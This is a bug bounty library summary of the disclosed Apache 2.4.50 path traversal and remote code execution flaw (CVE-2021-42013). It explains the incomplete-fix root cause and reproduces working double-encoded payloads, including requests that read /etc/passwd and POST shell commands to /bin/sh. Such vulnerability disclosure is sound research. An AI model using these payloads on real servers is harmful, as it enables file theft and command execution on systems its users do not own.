# Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.50

Incomplete fix for CVE-2021-41773 in Apache 2.4.50 allowed double-encoded traversal payloads to escape Alias dirs, leaking files and enabling CGI RCE.

- Payout: $1,000
- Severity: critical
- Program: Internet Bug Bounty
- Found by (vendor credit): Juan Escobar from Dreamlab Technologies, Fernando Muñoz from NULL Life CTF Team, and Shungo Kumasaka
- Found by: itsecurityco
- Disclosed: 2021-11-19
- CVE: CVE-2021-42013
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1404731
- Library page: https://bugbountylibrary.com/r/h1%3A1404731
- Tags: area:cloud domain:infra impact:data-leak impact:rce kind:bounty platform:hackerone sev:critical technique:incomplete-fix technique:parser-differential vuln:path-traversal vuln:rce

**Target:** Apache HTTP Server 2.4.50 mod_alias / mod_cgi path normalization
**Root cause:** The 2.4.50 patch decoded percent-encoded dots only once; double-encoded sequences like %%32%65 still normalized to '..' after a second decode pass, so traversal segments survived the check.
**Steps:**
1. Send `GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1` to read arbitrary files outside the Alias root.
2. Alternative payloads: `.%%32%65`, `.%%32e`, `.%2%65` to bypass the single-decode filter.
3. For RCE, POST to `/cgi-bin/%%32%65%%32%65/.../bin/sh` with body `echo Content-Type: text/plain; echo; id; uname;apache2ctl -M`.
4. Requires Alias-like directive without the default `require all denied` protection and CGI enabled on the aliased path.
**How found:** Researchers took the CVE-2021-41773 patch and tested whether its single-pass percent-decoding could be defeated by double-encoding the dot characters, trying variants like %%32%65 and .%2%65.
**Exploitation:** Attacker sends crafted URL with double-encoded dot segments; Apache decodes once during normalization, leaving `%%32%65` which decodes again to `..`, escaping the Alias directory. With CGI enabled, POST body is executed by /bin/sh, yielding command execution as the httpd user.
**Escalation:** Path traversal to /etc/passwd disclosure escalates to RCE when CGI scripts are enabled on the aliased path, since traversal reaches /bin/sh and the request body is piped to it.
**Insight:** When a patch adds a decode-then-check step, test whether the check runs before or after full decoding — double-encoded dots (%%32%65) and mixed encodings (.%2%65) often survive single-pass normalization; also check if CGI is enabled on the aliased path to turn traversal into RCE.

## Proof of concept (copied exactly from the original report)

**Path traversal request reading /etc/passwd**

```
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: localhost:83
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

**RCE POST to /bin/sh executing id**

```
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: 192.168.88.201
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
If-None-Match: "2aa6-5cda88e8a6005-gzip"
If-Modified-Since: Wed, 06 Oct 2021 05:38:33 GMT
Connection: close
Content-Length: 60

echo Content-Type: text/plain; echo; id; uname;apache2ctl -M
```

## Write-ups of the same bug (oldest first)
- 2021-11-19: [Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.50](https://bugbountylibrary.com/r/h1%3A1404731) — itsecurityco (this one)
- 2021-11-19: [Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)](https://bugbountylibrary.com/r/h1%3A1400238) — fms

